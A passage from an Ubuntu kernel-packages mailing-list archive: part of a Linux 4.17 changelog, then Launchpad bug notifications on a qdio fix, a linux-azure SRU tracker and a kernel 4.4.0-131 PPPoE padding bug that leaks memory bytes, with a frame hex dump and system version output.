ext4: add more mount time checks of the superblock - ext4: check superblock mapped prior to committing - HID: i2c-hid: Fix "incomplete report" noise - HID: hiddev: fix potential Spectre v1 - HID: debug: check length before copy_to_user() - HID: core: allow concurrent registration of drivers - i2c: core: smbus: fix a potential missing-check bug - i2c: smbus: kill memory leak on emulated and failed DMA SMBus xfers - fs: allow per-device dax status checking for filesystems - dax: change bdev_dax_supported() to support boolean returns - dax: check for QUEUE_FLAG_DAX in bdev_dax_supported() - dm: prevent DAX mounts if not supported - mtd: cfi_cmdset_0002: Change definition naming to retry write operation - mtd: cfi_cmdset_0002: Change erase functions to retry for error - mtd: cfi_cmdset_0002: Change erase functions to check chip good only - netfilter: nf_log: don't hold nf_log_mutex during user access - staging: comedi: quatech_daqp_cs: fix no-op loop daqp_ao_insn_write() - Revert mm/vmstat.c: fix vmstat_update() preemption BUG - Linux 4.17.6 - bpf: reject passing modified ctx to helper functions - MIPS: Call dump_stack() from show_regs() - MIPS: Use async IPIs for arch_trigger_cpumask_backtrace() - MIPS: Fix ioremap() RAM check - drm/etnaviv: Check for platform_device_register_simple() failure - drm/etnaviv: Fix driver unregistering - drm/etnaviv: bring back progress check in job timeout handler - ACPICA: Clear status of all events when entering S5 - mmc: sdhci-esdhc-imx: allow 1.8V modes without 100/200MHz pinctrl states - mmc: dw_mmc: fix card threshold control configuration - mmc: renesas_sdhi_internal_dmac: Cannot clear the RX_IN_USE in abort - ibmasm: don't write out of bounds in read handler - staging: rtl8723bs: Prevent an underflow in rtw_check_beacon_data(). - staging: r8822be: Fix RTL8822be can't find any wireless AP - ata: Fix ZBC_OUT command block check - ata: Fix ZBC_OUT all bit handling - mei: discard messages
[Kernel-packages] [Bug 1781535] Re: qdio: don't retry EQBS after CCQ 96
Since dae55b6 is tagged with v4.17-rc1~78^2~13 and we have 4.17 in cosmic proposed, I change 'linux (Ubuntu)' to Fix Committed. ** Changed in: linux (Ubuntu) Status: In Progress => Fix Committed -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux in Ubuntu. https://bugs.launchpad.net/bugs/1781535 Title: qdio: don't retry EQBS after CCQ 96 Status in Ubuntu on IBM z Systems: Fix Committed Status in linux package in Ubuntu: Fix Committed Status in linux source package in Xenial: Fix Released Status in linux source package in Bionic: Fix Released Bug description: Description: qdio: don't retry EQBS after CCQ 96 Symptom: Queue stalls, over-/underreporting of buffer errors. Problem: Immediate retry of EQBS after CCQ 96 means that we potentially misreport the state of buffers inspected during the first EQBS call. Solution: On CCQ 96, first process the discovered state. Afterwards, higher-level code will eventually trigger an EQBS/inspection of the remaining buffers. Their state is now processed independently from the state that was discovered during the first EQBS. Upstream-ID: dae55b6fef58530c13df074bcc182c096609339e To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu-z-systems/+bug/1781535/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784292] Re: linux-azure: 4.15.0-1020.20~16.04.1 -proposed tracker
** Changed in: kernel-sru-workflow/snap-release-to-stable Status: New => Invalid -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-azure in Ubuntu. https://bugs.launchpad.net/bugs/1784292 Title: linux-azure: 4.15.0-1020.20~16.04.1 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: New Status in Kernel SRU Workflow certification-testing series: Invalid Status in Kernel SRU Workflow prepare-package series: In Progress Status in Kernel SRU Workflow prepare-package-meta series: In Progress Status in Kernel SRU Workflow prepare-package-signed series: In Progress Status in Kernel SRU Workflow promote-to-proposed series: New Status in Kernel SRU Workflow promote-to-security series: New Status in Kernel SRU Workflow promote-to-updates series: New Status in Kernel SRU Workflow regression-testing series: New Status in Kernel SRU Workflow security-signoff series: New Status in Kernel SRU Workflow snap-release-to-beta series: New Status in Kernel SRU Workflow snap-release-to-candidate series: New Status in Kernel SRU Workflow snap-release-to-edge series: New Status in Kernel SRU Workflow snap-release-to-stable series: Invalid Status in Kernel SRU Workflow stakeholder-signoff series: Confirmed Status in Kernel SRU Workflow upload-to-ppa series: New Status in Kernel SRU Workflow verification-testing series: New Status in linux-azure package in Ubuntu: Invalid Status in linux-azure source package in Xenial: Confirmed Bug description: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- kernel-stable-master-bug: 1784281 To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1784292/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784292] Re: linux-azure: 4.15.0-1020.20~16.04.1 -proposed tracker
** Summary changed: - linux-azure: -proposed tracker + linux-azure: 4.15.0-1020.20~16.04.1 -proposed tracker ** Changed in: kernel-sru-workflow/prepare-package-signed Status: New => In Progress ** Changed in: kernel-sru-workflow/prepare-package-signed Assignee: Canonical Kernel Team (canonical-kernel-team) => Stefan Bader (smb) ** Changed in: kernel-sru-workflow/prepare-package-meta Status: New => In Progress ** Changed in: kernel-sru-workflow/prepare-package-meta Assignee: Canonical Kernel Team (canonical-kernel-team) => Stefan Bader (smb) ** Changed in: kernel-sru-workflow/prepare-package Status: New => In Progress ** Changed in: kernel-sru-workflow/prepare-package Assignee: Canonical Kernel Team (canonical-kernel-team) => Stefan Bader (smb) -- You received this bug notification because you are a member of Kernel Packages, which is subscribed to linux-azure in Ubuntu. https://bugs.launchpad.net/bugs/1784292 Title: linux-azure: 4.15.0-1020.20~16.04.1 -proposed tracker Status in Kernel SRU Workflow: In Progress Status in Kernel SRU Workflow automated-testing series: New Status in Kernel SRU Workflow certification-testing series: Invalid Status in Kernel SRU Workflow prepare-package series: In Progress Status in Kernel SRU Workflow prepare-package-meta series: In Progress Status in Kernel SRU Workflow prepare-package-signed series: In Progress Status in Kernel SRU Workflow promote-to-proposed series: New Status in Kernel SRU Workflow promote-to-security series: New Status in Kernel SRU Workflow promote-to-updates series: New Status in Kernel SRU Workflow regression-testing series: New Status in Kernel SRU Workflow security-signoff series: New Status in Kernel SRU Workflow snap-release-to-beta series: New Status in Kernel SRU Workflow snap-release-to-candidate series: New Status in Kernel SRU Workflow snap-release-to-edge series: New Status in Kernel SRU Workflow snap-release-to-stable series: New Status in Kernel SRU Workflow stakeholder-signoff series: Confirmed Status in Kernel SRU Workflow upload-to-ppa series: New Status in Kernel SRU Workflow verification-testing series: New Status in linux-azure package in Ubuntu: Invalid Status in linux-azure source package in Xenial: Confirmed Bug description: This bug is for tracking the upload package. This bug will contain status and testing results related to that upload. For an explanation of the tasks and the associated workflow see: https://wiki.ubuntu.com/Kernel/kernel-sru-workflow -- swm properties -- kernel-stable-master-bug: 1784281 To manage notifications about this bug go to: https://bugs.launchpad.net/kernel-sru-workflow/+bug/1784292/+subscriptions -- Mailing list: https://launchpad.net/~kernel-packages Post to : kernel-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~kernel-packages More help : https://help.launchpad.net/ListHelp
[Kernel-packages] [Bug 1784684] Re: Waste padding after PPPoE payload
** Description changed: After a new Kernel e.g. 4.4.0-131 is installed on our Ubuntu 16.04 LTS clients, unneeded (waste) 14 bytes paddings are unexpectedly present after PPPoE payload in client's Ethernet frames which are sent towards a NAS access router. The content of such a waste padding is not all zero filled bytes, but rather parts of memory, sometimes with readable text. Thus it is also a security issue. Sometimes the waste padding is more than 14 bytes. For example, a PPPoED PADI frame (single tagged VLAN) with text "amf/application/12" (18 bytes) at the end of the frame shown as padding in Wireshark: ff ff ff ff ff ff 00 0a cd 2a ea 9f 81 00 00 07 ÿÿ..Í*ê. 0010 88 63 11 09 00 00 00 0c 01 01 00 00 01 03 00 04 .c.. 0020 d9 1f 00 00 61 6d 66 2f 61 70 70 6c 69 63 61 74 Ù...amf/applicat 0030 69 6f 6e 2f 31 32 ion/12 It is a critical bug of Kernel 4.4.0-131. Some affected client Ethernet frames are large enough (>64 bytes), and thus they do not need to be padded for Ethernet. Padding should be included and is required in Ethernet frames only to achieve the minimum 64 byte size of an Ethernet frame sent on wire. For a packet larger than e.g. 100 bytes no padding is needed in Ethernet frame. However we can see such 14 Byte paddings also in large client Ethernet frames (in PPPoE/PPP/IP session packets), with payload size of several hundred bytes (200, 300, 400 bytes and more). Our Ubuntu 16.04 LTS Clients are always updated via apt update / apt upgrade early enough, after a new Ubuntu update is released in Internet. Our statistics after analyzing the collected archived pcap traces of our clients with Ubuntu 16.04 LTS and the latest Kernel installed can help to identify the date and the version when the kernel bug first appeared: From 15.06.2018 to 29.06.2018 - still no waste padding on all clients (OK) 02.07.2018 - OK, still no waste padding on all clients (OK) 03.07.2018 - OK, still no waste padding on all clients (OK) 04.07.2018 - OK, still no waste padding on all clients (OK) 05.07.2018 - OK, still no waste padding on all clients (OK) 06.07.2018 - OK, still no waste padding on all clients (OK) !!! Kernel Update to 4.4.0-131 on 09-Jul-2018 !!! 09.07.2018 - 14 byte padding (PADI, PADR, etc) on all updated clients - a kernel BUG ! 10.07.2018 - 14 byte padding (PADI, PADR, etc) on all updated clients - a kernel BUG ! 12.07.2018 - 14 byte padding (PADI, PADR, etc) on all updated clients - a kernel BUG ! 13.07.2018 - 14 byte padding (PADI, PADR, etc) on all updated clients - a kernel BUG ! 19.07.2018 - 14 byte padding (PADI, PADR, etc) on all updated clients - a kernel BUG ! ... - So the padding issue occurred on our clients for the first time on - 09-Jul-2018, after the Linux Kernel was updated to 4.4.0-131 on our - Ubuntu 16.04 LTS clients. Still then the issue is present on all updated - clients. The kernel bug disappeared and the padding behavior is OK again - (without bug), after clients were downgraded to and booted with an older - kernel version like e.g. 4.4.0-116 (older than 4.4.0-131). + So the padding issue occurred on our Ubuntu 16.04 LTS clients for the + first time on 09-Jul-2018, after the Linux Kernel was updated to + 4.4.0-131. Since then, the issue is present on all the updated clients. + The kernel bug disappeared and the padding behavior is OK again (without + bug), after clients were downgraded to and booted with an older kernel + version like e.g. 4.4.0-116 (older than 4.4.0-131). - The kernel version affected with this BUG: + Information about the Ubuntu clients and the kernel version affected + with this BUG: + @client:~$ uname -a Linux client 4.4.0-131-generic #157-Ubuntu SMP Thu Jul 12 15:51:36 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux @client:~$ cat /proc/version_signature Ubuntu 4.4.0-131.157-generic 4.4.134 @client:~$ lsb_release -rd Description:Ubuntu 16.04.5 LTS Release:16.04 @client:~$ lsb_release -ci Distributor ID: Ubuntu Codename: xenial - The kernel bug does not occur on Ubuntu 16.04 LTS clients and waste - paddings (14 byte on single-stacked VLAN or 18 byte on double-stacked - VLAN) are not present in client frames, if an old Kernel e.g. 4.4.0-116 - (of 12-Feb-2018) is installed on the client and activated at boot time. + The kernel bug does not occur and waste paddings (14 byte on single- + stacked VLAN, 18 byte on double-stacked VLAN) are not present in client + frames, if an old Kernel e.g. 4.4.0-116 (of 12-Feb-2018) is installed on + the client and activated at boot time. This old kernel 4.4.0-116 is still without the padding bug: @client:~$ uname -a Linux client 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux A PADI packet with unneeded padding is included as attachment. It wa